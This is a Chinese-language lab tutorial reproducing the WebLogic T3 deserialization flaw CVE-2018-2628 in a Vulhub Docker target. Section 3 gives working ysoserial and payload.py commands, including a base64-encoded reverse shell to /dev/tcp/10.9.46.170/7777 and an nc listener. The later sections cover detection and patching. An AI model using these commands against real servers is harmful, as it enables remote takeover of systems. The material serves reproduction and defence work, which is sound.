Weblogic命令执行漏洞(CVE-2018-2628)复现
字数 1495 2025-08-10 17:51:51
Weblogic命令执行漏洞(CVE-2018-2628)复现与分析
1. 漏洞概述
1.1 漏洞描述
CVE-2018-2628是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意的序列化数据,利用反序列化漏洞实现对存在漏洞的WebLogic组件的远程代码执行攻击。
1.2 漏洞原理
- T3协议特性:WebLogic私有的协议,相比JRMP协议增加了:
- 服务端持续追踪客户端存活状态(心跳机制,默认60秒间隔)
- 超过240秒未收到心跳判定连接丢失
- 优化数据包大小和网络消耗,可一次性传输全部数据包
- 攻击方式:通过T3协议与WebLogic通信,实现WebLogic RMI调用过程,远程加载恶意类
1.3 受影响版本
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
1.4 漏洞详情
- 漏洞名称:Weblogic远程命令执行漏洞
- 漏洞编号:CVE-2018-2628
- 危害等级:高危
- CVSS评分:10
- 漏洞类型:RCE(远程代码执行)
2. 环境搭建
2.1 所需工具
- 操作系统:Kali Linux (2023)
- 漏洞利用脚本:CVE-2018-2628
- 反序列化工具:ysoserial-0.0.6-SNAPSHOT-all.jar
- 环境搭建:Docker
2.2 靶机环境
使用Vulhub提供的Docker环境:
cd /home/kali/vulhub/weblogic/CVE-2018-2628
sudo docker-compose up -d
3. 漏洞复现步骤
3.1 服务端开启监听
- 使用ysoserial工具启动JRMP Server:
cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener <监听端口> <jdk版本> <要执行的命令>
- 示例(反弹shell):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=是bash -i >& /dev/tcp/10.9.46.170/7777 0>&1的base64编码
3.2 开启nc监听
nc -lvnp 7777
3.3 执行payload攻击
cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py <靶机ip> <靶机端口> ysoserial-0.0.6-SNAPSHOT-all.jar <攻击机ip> <监听端口> JRMPClient
示例:
python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient
3.4 文件写入验证
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "touch /tmp/ajest"
4. 检测方法
使用nmap快速检测:
nmap -sV --script=weblogic-t3-info.nse -p 7001 <目标IP>
5. 修复建议
5.1 临时修复方案
控制T3服务访问权限:
- 进入WebLogic控制台
- 在base_domain的配置页面中,进入"安全"选项卡
- 点击"筛选器",进入连接筛选器配置
- 在连接筛选器中输入:
weblogic.security.net.ConnectionFilterImpl - 在连接筛选器规则中输入:
127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s- 表示t3和t3s协议的所有端口只允许本地访问
- 保存后需重新启动使规则生效
5.2 官方补丁
- 下载并安装Oracle官方发布的最新补丁
- 升级JDK至1.7.0.21以上版本
5.3 代码修改方案(适用于10.3.6.0)
- 在
weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加java.rmi.server.RemoteObjectInvocationHandler - 编译并更新
swlclient.jar和wlthint3client.jar这两个用到该类的包
6. 总结
- T3协议通常开放在内网,外网较少见
- WebLogic采用黑名单方式进行反序列化漏洞修复,存在被绕过的风险
- 控制T3服务是防护WebLogic RMI这类反序列化漏洞的有效方式
- 推荐优先采用官方补丁,其次考虑控制T3服务访问权限